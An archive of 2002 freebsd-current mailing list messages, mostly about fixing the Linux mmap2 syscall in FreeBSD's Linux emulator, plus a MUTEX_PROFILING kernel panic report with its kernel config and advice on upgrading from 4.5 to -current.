<87d6wp83s1.wl@kylebutt.dorms.usu.edu> User-Agent: Mutt/1.5.0i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Apr 24, 2002 at 10:22:54AM -0600, Kyle Butt wrote: > What's going on as far as adding utf-8 based locales? > How can I help? There were some widechar support related imports from CITRUS project as I recall, but all the work seems to be stalled at the moment. I guess it's low priority topic in light of SMP/KSE development and upcoming 5.0 release. -- Vallo Kallaste kalts@estpak.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 13:18:49 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id EC73737B419 for ; Wed, 24 Apr 2002 13:18:44 -0700 (PDT) Received: (qmail 38674 invoked from network); 24 Apr 2002 20:16:02 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 24 Apr 2002 20:16:02 -0000 Date: Wed, 24 Apr 2002 16:16:02 -0400 (EDT) From: Kenneth Culver To: Brandon S Allbery KF8NH Cc: Andrew Gallatin , , FreeBSD-CURRENT List Subject: Re: implementing linux mmap2 syscall In-Reply-To: <1019662269.6094.1.camel@pyanfar.ece.cmu.edu> Message-ID: <20020424161545.O38664-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I tried printing out everything in the trapframe in hex and nothing looke remotely right. Ken On 24 Apr 2002, Brandon S Allbery KF8NH wrote: > On Wed, 2002-04-24 at 10:41, Andrew Gallatin wrote: > > Maybe the argument isn't where you expect it to be, but is there. > > Can you make a test program which calls mmap2 with its 6th arg as > > something unique like 0xdeadbeef? Then print out (in hex :) the trapframe > > from the linux prepsyscall routine & see if you can find the deadbeef. > > My recollection is that beyond 5 arguments, a pointer to the remaining > ones is passed. (But my recollection may be wrong and I don't wish to > subject myself to the source cesspool at the moment....) > > -- > brandon s. allbery [os/2][linux][solaris][japh] allbery@kf8nh.apk.net > system administrator [WAY too many hats] allbery@ece.cmu.edu > electrical and computer engineering KF8NH > carnegie mellon university ["better check the oblivious first" -ke6sls] > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 13:22:31 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id 2FAA037B419 for ; Wed, 24 Apr 2002 13:22:25 -0700 (PDT) Received: (qmail 38695 invoked from network); 24 Apr 2002 20:19:44 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 24 Apr 2002 20:19:44 -0000 Date: Wed, 24 Apr 2002 16:19:44 -0400 (EDT) From: Kenneth Culver To: Andrew Gallatin Cc: Brandon S Allbery KF8NH , , FreeBSD-CURRENT List Subject: Re: implementing linux mmap2 syscall In-Reply-To: <15558.54159.737973.56540@grasshopper.cs.duke.edu> Message-ID: <20020424161828.R38664-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > Brandon S Allbery KF8NH writes: > > On Wed, 2002-04-24 at 10:41, Andrew Gallatin wrote: > > > Maybe the argument isn't where you expect it to be, but is there. > > > Can you make a test program which calls mmap2 with its 6th arg as > > > something unique like 0xdeadbeef? Then print out (in hex :) the trapframe > > > from the linux prepsyscall routine & see if you can find the deadbeef. > > > > My recollection is that beyond 5 arguments, a pointer to the remaining > > ones is passed. (But my recollection may be wrong and I don't wish to > > subject myself to the source cesspool at the moment....) > > > > I think that's how it used to work. Apparently, they've changed it > recently and they now pass 6 args in registers. Eg, in the linux > kernel sources, old_mmap() fetches its args via copy_from_user(), > whereas the newer sys_mmap2() doesn't. > > Drew > Yep, according to the docs and source code I looked at in the linux kernel, the sixth arg is in the ebp register. I've looked all over the FreeBSD kernel and the linux emulator for the place that actually sets these, and unfortunately, due to my lack of asm coding knowledge, I can't find anything. Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 14:13:55 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id E646637B41C for ; Wed, 24 Apr 2002 14:13:51 -0700 (PDT) Received: (qmail 39007 invoked from network); 24 Apr 2002 21:11:50 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 24 Apr 2002 21:11:50 -0000 Date: Wed, 24 Apr 2002 17:11:50 -0400 (EDT) From: Kenneth Culver To: John Baldwin Cc: FreeBSD-CURRENT List , FreeBSD-CURRENT List , , Brandon S Allbery KF8NH , Andrew Gallatin Subject: Re: implementing linux mmap2 syscall In-Reply-To: Message-ID: <20020424170721.B38982-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > libc sets it before it enters the kernel. Then on kernel entry we save > ebp in the trapframe. So in the case of linux emulation, the glibc that we're using in the linux-ulator isn't setting it properly? I'm using the linux_base-7 port for this, so as far as I can tell, it should work... assuming linux_base-7 is meant to run on a linux-2.4.x kernel (or kernel that's emulating that). I may have screwed up my linux libs somehow or another too... could this be causing the behavior I'm seeing? Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 14:14:22 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id 1651937B404 for ; Wed, 24 Apr 2002 14:14:16 -0700 (PDT) Received: (qmail 39007 invoked from network); 24 Apr 2002 21:11:50 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 24 Apr 2002 21:11:50 -0000 Date: Wed, 24 Apr 2002 17:11:50 -0400 (EDT) From: Kenneth Culver To: John Baldwin Cc: FreeBSD-CURRENT List , FreeBSD-CURRENT List , , Brandon S Allbery KF8NH , Andrew Gallatin Subject: Re: implementing linux mmap2 syscall In-Reply-To: Message-ID: <20020424170721.B38982-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > libc sets it before it enters the kernel. Then on kernel entry we save > ebp in the trapframe. So in the case of linux emulation, the glibc that we're using in the linux-ulator isn't setting it properly? I'm using the linux_base-7 port for this, so as far as I can tell, it should work... assuming linux_base-7 is meant to run on a linux-2.4.x kernel (or kernel that's emulating that). I may have screwed up my linux libs somehow or another too... could this be causing the behavior I'm seeing? Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 14:49: 0 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail15.speakeasy.net [216.254.0.215]) by hub.freebsd.org (Postfix) with ESMTP id 38BB637B41C for ; Wed, 24 Apr 2002 14:48:57 -0700 (PDT) Received: (qmail 11897 invoked from network); 24 Apr 2002 21:34:59 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail15.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 24 Apr 2002 21:34:59 -0000 Received: from laptop.baldwin.cx (gw1.twc.weather.com [216.133.140.1]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3OLYwv08142; Wed, 24 Apr 2002 17:34:58 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20020424170721.B38982-100000@alpha.yumyumyum.org> Date: Wed, 24 Apr 2002 17:34:07 -0400 (EDT) From: John Baldwin To: Kenneth Culver Subject: Re: implementing linux mmap2 syscall Cc: Andrew Gallatin Cc: Andrew Gallatin , Brandon S Allbery KF8NH , freebsd-hackers@FreeBSD.ORG, FreeBSD-CURRENT List Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 24-Apr-2002 Kenneth Culver wrote: >> libc sets it before it enters the kernel. Then on kernel entry we save >> ebp in the trapframe. > > So in the case of linux emulation, the glibc that we're using in the > linux-ulator isn't setting it properly? I'm using the linux_base-7 port > for this, so as far as I can tell, it should work... assuming linux_base-7 > is meant to run on a linux-2.4.x kernel (or kernel that's emulating that). > > I may have screwed up my linux libs somehow or another too... could this > be causing the behavior I'm seeing? Maybe. You could always try finding the mmap2() entry point and dissassembling it to see what it is doing. > Ken -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 14:52:26 2002 Delivered-To: freebsd-current@freebsd.org Received: from hpdi.ath.cx (pc2-nthf5-0-cust237.not.cable.ntl.com [80.4.35.237]) by hub.freebsd.org (Postfix) with ESMTP id AD3C337B41A for ; Wed, 24 Apr 2002 14:51:59 -0700 (PDT) Received: from hpdi.ath.cx (localhost [127.0.0.1]) by hpdi.ath.cx (8.12.2/8.12.2) with ESMTP id g3OLkrXH000313; Wed, 24 Apr 2002 22:46:53 +0100 (BST) (envelope-from hitenp@hpdi.ath.cx) Received: (from hitenp@localhost) by hpdi.ath.cx (8.12.2/8.12.2/Submit) id g3OLkq4w000312; Wed, 24 Apr 2002 22:46:52 +0100 (BST) Date: Wed, 24 Apr 2002 22:46:52 +0100 From: Hiten Pandya To: des@ofug.org Cc: current@FreeBSD.org Subject: Spin lock (?) problems with MUTEX_PROFILING Message-ID: <20020424224652.A284@hpdi.ath.cx> Reply-To: hiten@uk.FreeBSD.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="da4uJneut+ArUgXk" Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Operating-System: FreeBSD hpdi.ath.cx 5.0-CURRENT FreeBSD 5.0-CURRENT Organisation: Hiten Pandya, Leicester LE5 3NF, United Kingdom X-PGP-Key: http://www.pittgoth.com/~hiten/pubkey.asc Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --da4uJneut+ArUgXk Content-Type: multipart/mixed; boundary="l76fUT7nc3MelDdI" Content-Disposition: inline --l76fUT7nc3MelDdI Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi all, I am not generating a false alarm, but I compiled a fresh kernel yesterday with the MUTEX_PROFILING option, and it just went haywire just after the FreeBSD copyright messages and the build info: [ Copyright Info ] [ Build Information ] panic: spin lock mutex profiling lock not in order list I had no idea how to debug this, so I am sending it to the -current list and cc'ing a copy to DES. I am also attaching my kernel configuration file for reference purposes. Thanks --=20 Hiten Pandya http://storm.uk.FreeBSD.org/~hiten Finger hiten@storm.uk.FreeBSD.org for PGP public key -- 4FB9 C4A9 4925 CF97 9BF3 ADDA 861D 5DBD E4E3 03C3=20 --l76fUT7nc3MelDdI Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=CURRENT5 Content-Transfer-Encoding: quoted-printable # -current Kernel Configuration file # Hiten Pandya machine i386 cpu I686_CPU ident CURRENT5 maxusers 500 #To statically compile in device wiring instead of /boot/device.hints #hints "GENERIC.hints" #Default places to look for devices. profile 2 makeoptions DEBUG=3D-g #Build kernel with gdb(1) debug symbols options DEVICE_POLLING #Polling support on devices options UFS_DIRHASH #DIRHASH Support for Kernel options COMPAT_LINUX #Linux Compatibility options PERFMON #Performance Monitories options VESA #Large Splash Screen Support options INET #InterNETworking options FFS #Berkeley Fast Filesystem options SOFTUPDATES #Enable FFS soft updates support options MD_ROOT #MD is a potential root device options MSDOSFS #MSDOS Filesystem options CD9660 #ISO 9660 Filesystem options PSEUDOFS #New PROCFS Framework dependancy! options PROCFS #Process filesystem options COMPAT_43 #Compatible with BSD 4.3 [KEEP THIS!] #options USERCONFIG #boot -c editor #options VISUAL_USERCONFIG #visual boot -c editor options KTRACE #ktrace(1) support options SYSVSHM #SYSV-style shared memory options SYSVMSG #SYSV-style message queues options SYSVSEM #SYSV-style semaphores options P1003_1B #Posix P1003_1B real-time extensions options _KPOSIX_PRIORITY_SCHEDULING options KBD_INSTALL_CDEV # install a CDEV entry in /dev # Debugging for use in -current options DDB #Enable the kernel debugger options INVARIANTS #Enable calls of extra sanity checking options INVARIANT_SUPPORT #Exta sanity checking. options WITNESS #Enable mutex checks to detect.=20 options MUTEX_DEBUG #Debug Mutexes options MUTEX_PROFILING #Mutex Profiling # Miscelleneous Options options REGRESSION #Regression Testing (needed!) options DONTPROBE_1284 #options SMP # Symmetric MultiProcessor Kernel #options APIC_IO # Symmetric (APIC) I/O device isa device eisa device pci options PCI_ENABLE_IO_MODES # Enable pci resources left off by a "lazy BIO= S" # Floppy drives device fdc # ATA and ATAPI devices device ata device atadisk # ATA disk drives device atapicd # ATAPI CDROM drives device atapifd # ATAPI floppy drives options ATA_STATIC_ID # Static device numbering # atkbdc0 controls both the keyboard and the PS/2 mouse device atkbdc 1 # At keyboard controller device atkbd # at keyboard device psm # psm mouse device vga # VGA screen # splash screen/screen saver device splash device sc # SysCon Device device npx # Floating Point Device (not to disable!) device apm # Power Managment Support device pmtimer # Suspend/Resume Timer # Serial (COM) ports #device sio # 8250, 16[45]50 based serial ports # Parallel port device ppc device ppbus # Parallel port bus (required) device lpt # Printer device ppi # Parallel port interface device #device vpo # Requires scbus and da device miibus # MII bus support device fxp # Intel EtherExpress PRO/100B (82557, 82558) # Pseudo devices - the number indicates how many units to allocate. device random # Entropy device (Strong Cryptography!) device loop # Network loopback device ether # Ethernet support device pty # Pseudo-ttys (telnet etc) device md # Memory "disks" device bpf # Berkeley packet filter --l76fUT7nc3MelDdI-- --da4uJneut+ArUgXk Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8xyfLhh1dveTjA8MRAqOTAKCSy/EKhQvYEbJEZzlAg/AgGKRLagCgxKsO AzPaabve8S/skEwsiZktRWs= =7BRf -----END PGP SIGNATURE----- --da4uJneut+ArUgXk-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 15: 3:22 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail12.speakeasy.net [216.254.0.212]) by hub.freebsd.org (Postfix) with ESMTP id 7884F37B404 for ; Wed, 24 Apr 2002 15:03:15 -0700 (PDT) Received: (qmail 13193 invoked from network); 24 Apr 2002 21:01:53 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail12.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 24 Apr 2002 21:01:53 -0000 Received: from laptop.baldwin.cx (gw1.twc.weather.com [216.133.140.1]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3OL1pv08001; Wed, 24 Apr 2002 17:01:51 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20020424161828.R38664-100000@alpha.yumyumyum.org> Date: Wed, 24 Apr 2002 17:01:00 -0400 (EDT) From: John Baldwin To: Kenneth Culver Subject: Re: implementing linux mmap2 syscall Cc: FreeBSD-CURRENT List Cc: FreeBSD-CURRENT List , freebsd-hackers@FreeBSD.ORG, Brandon S Allbery KF8NH , Andrew Gallatin Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 24-Apr-2002 Kenneth Culver wrote: >> >> Brandon S Allbery KF8NH writes: >> > On Wed, 2002-04-24 at 10:41, Andrew Gallatin wrote: >> > > Maybe the argument isn't where you expect it to be, but is there. >> > > Can you make a test program which calls mmap2 with its 6th arg as >> > > something unique like 0xdeadbeef? Then print out (in hex :) the >> > > trapframe >> > > from the linux prepsyscall routine & see if you can find the deadbeef. >> > >> > My recollection is that beyond 5 arguments, a pointer to the remaining >> > ones is passed. (But my recollection may be wrong and I don't wish to >> > subject myself to the source cesspool at the moment....) >> > >> >> I think that's how it used to work. Apparently, they've changed it >> recently and they now pass 6 args in registers. Eg, in the linux >> kernel sources, old_mmap() fetches its args via copy_from_user(), >> whereas the newer sys_mmap2() doesn't. >> >> Drew >> > Yep, according to the docs and source code I looked at in the linux > kernel, the sixth arg is in the ebp register. I've looked all over the > FreeBSD kernel and the linux emulator for the place that actually sets > these, and unfortunately, due to my lack of asm coding knowledge, I can't > find anything. libc sets it before it enters the kernel. Then on kernel entry we save ebp in the trapframe. -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 16:21:50 2002 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-18.dsl.lsan03.pacbell.net [64.165.226.18]) by hub.freebsd.org (Postfix) with ESMTP id 1CC7C37B416 for ; Wed, 24 Apr 2002 16:21:36 -0700 (PDT) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id B6E1066D03; Wed, 24 Apr 2002 16:20:52 -0700 (PDT) Date: Wed, 24 Apr 2002 16:20:52 -0700 From: Kris Kennaway To: =?iso-8859-1?Q?Christian_Fl=FCgel?= Cc: Steve Kargl , freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails Message-ID: <20020424162052.A14802@xor.obsecurity.org> References: <004d01c1eb8a$bfadfef0$594bfea9@bender> <20020424082937.A35418@troutmask.apl.washington.edu> <001e01c1eba7$ad27ff70$594bfea9@bender> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="AhhlLboLdkugWU4S" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <001e01c1eba7$ad27ff70$594bfea9@bender>; from Jeff.Kelly@t-online.de on Wed, Apr 24, 2002 at 05:49:52PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --AhhlLboLdkugWU4S Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Apr 24, 2002 at 05:49:52PM +0200, Christian Fl=FCgel wrote: > But I still get signal 12 exceptions when trying to installworld. > It seems to me that the install process still uses my old kernel and I am > not able to load the new one. Could anybody please tell me how to achieve > this? You're still actually running your 4.x kernel. This may be an omission in the documentation for upgrading to 5.0: you need to install the new /boot/defaults/ files so that the boot loader will automatically pick up the changed default location of the 5.0 kernel. Kris --AhhlLboLdkugWU4S Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8xz3UWry0BWjoQKURAvEgAKCJ7DQjcLeRBtvry8+n11CvgYrXAwCeLMdr ErffAL1nsQgf/wEP9EjeRHw= =hmZ0 -----END PGP SIGNATURE----- --AhhlLboLdkugWU4S-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 16:32:26 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id 73DC037B400 for ; Wed, 24 Apr 2002 16:32:15 -0700 (PDT) Received: (qmail 39676 invoked from network); 24 Apr 2002 23:31:07 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 24 Apr 2002 23:31:07 -0000 Date: Wed, 24 Apr 2002 19:31:07 -0400 (EDT) From: Kenneth Culver To: John Baldwin Cc: FreeBSD-CURRENT List , FreeBSD-CURRENT List , , Brandon S Allbery KF8NH , Andrew Gallatin Subject: Re: implementing linux mmap2 syscall In-Reply-To: <20020424170721.B38982-100000@alpha.yumyumyum.org> Message-ID: <20020424192820.P39664-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > libc sets it before it enters the kernel. Then on kernel entry we save > > ebp in the trapframe. > > So in the case of linux emulation, the glibc that we're using in the > linux-ulator isn't setting it properly? I'm using the linux_base-7 port > for this, so as far as I can tell, it should work... assuming linux_base-7 > is meant to run on a linux-2.4.x kernel (or kernel that's emulating that). > > I may have screwed up my linux libs somehow or another too... could this > be causing the behavior I'm seeing? > > Ken > > OK, I removed the linux_base packages that I had on here, and made some changes to the linux-ulator (added the arg[5] = tf->tf_ebp, and then re-installed the linux_base-7.1 package, and now things are working... winex is working fine now. :-) I'll clean up my changes to the linux-ulator, and submit them as a pr. Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 16:32:25 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id 7BC3C37B41D for ; Wed, 24 Apr 2002 16:32:14 -0700 (PDT) Received: (qmail 39676 invoked from network); 24 Apr 2002 23:31:07 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 24 Apr 2002 23:31:07 -0000 Date: Wed, 24 Apr 2002 19:31:07 -0400 (EDT) From: Kenneth Culver To: John Baldwin Cc: FreeBSD-CURRENT List , FreeBSD-CURRENT List , , Brandon S Allbery KF8NH , Andrew Gallatin Subject: Re: implementing linux mmap2 syscall In-Reply-To: <20020424170721.B38982-100000@alpha.yumyumyum.org> Message-ID: <20020424192820.P39664-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > libc sets it before it enters the kernel. Then on kernel entry we save > > ebp in the trapframe. > > So in the case of linux emulation, the glibc that we're using in the > linux-ulator isn't setting it properly? I'm using the linux_base-7 port > for this, so as far as I can tell, it should work... assuming linux_base-7 > is meant to run on a linux-2.4.x kernel (or kernel that's emulating that). > > I may have screwed up my linux libs somehow or another too... could this > be causing the behavior I'm seeing? > > Ken > > OK, I removed the linux_base packages that I had on here, and made some changes to the linux-ulator (added the arg[5] = tf->tf_ebp, and then re-installed the linux_base-7.1 package, and now things are working... winex is working fine now. :-) I'll clean up my changes to the linux-ulator, and submit them as a pr. Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 16:35:53 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id 20CC237B41E for ; Wed, 24 Apr 2002 16:35:46 -0700 (PDT) Received: (qmail 39720 invoked from network); 24 Apr 2002 23:33:34 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 24 Apr 2002 23:33:34 -0000 Date: Wed, 24 Apr 2002 19:33:34 -0400 (EDT) From: Kenneth Culver To: John Baldwin Cc: FreeBSD-CURRENT List , FreeBSD-CURRENT List , , Brandon S Allbery KF8NH , Andrew Gallatin Subject: Re: implementing linux mmap2 syscall In-Reply-To: <20020424192820.P39664-100000@alpha.yumyumyum.org> Message-ID: <20020424193252.S39698-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > > libc sets it before it enters the kernel. Then on kernel entry we save > > > ebp in the trapframe. > > > > So in the case of linux emulation, the glibc that we're using in the > > linux-ulator isn't setting it properly? I'm using the linux_base-7 port > > for this, so as far as I can tell, it should work... assuming linux_base-7 > > is meant to run on a linux-2.4.x kernel (or kernel that's emulating that). > > > > I may have screwed up my linux libs somehow or another too... could this > > be causing the behavior I'm seeing? > > > > Ken > > > > > OK, I removed the linux_base packages that I had on here, and made some > changes to the linux-ulator (added the arg[5] = tf->tf_ebp, and then > re-installed the linux_base-7.1 package, and now things are working... > winex is working fine now. :-) I'll clean up my changes to the > linux-ulator, and submit them as a pr. > I'm actually still not seeing a match between what's in truss, and what's in my printed-out args, but it seems to be working anyway... Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 16:35:54 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id 413A137B416 for ; Wed, 24 Apr 2002 16:35:47 -0700 (PDT) Received: (qmail 39720 invoked from network); 24 Apr 2002 23:33:34 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 24 Apr 2002 23:33:34 -0000 Date: Wed, 24 Apr 2002 19:33:34 -0400 (EDT) From: Kenneth Culver To: John Baldwin Cc: FreeBSD-CURRENT List , FreeBSD-CURRENT List , , Brandon S Allbery KF8NH , Andrew Gallatin Subject: Re: implementing linux mmap2 syscall In-Reply-To: <20020424192820.P39664-100000@alpha.yumyumyum.org> Message-ID: <20020424193252.S39698-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > > libc sets it before it enters the kernel. Then on kernel entry we save > > > ebp in the trapframe. > > > > So in the case of linux emulation, the glibc that we're using in the > > linux-ulator isn't setting it properly? I'm using the linux_base-7 port > > for this, so as far as I can tell, it should work... assuming linux_base-7 > > is meant to run on a linux-2.4.x kernel (or kernel that's emulating that). > > > > I may have screwed up my linux libs somehow or another too... could this > > be causing the behavior I'm seeing? > > > > Ken > > > > > OK, I removed the linux_base packages that I had on here, and made some > changes to the linux-ulator (added the arg[5] = tf->tf_ebp, and then > re-installed the linux_base-7.1 package, and now things are working... > winex is working fine now. :-) I'll clean up my changes to the > linux-ulator, and submit them as a pr. > I'm actually still not seeing a match between what's in truss, and what's in my printed-out args, but it seems to be working anyway... Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 16:39:40 2002 Delivered-To: freebsd-current@freebsd.org Received: from falcon.prod.itd.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by hub.freebsd.org (Postfix) with ESMTP id A16A337B41E; Wed, 24 Apr 2002 16:39:31 -0700 (PDT) Received: from 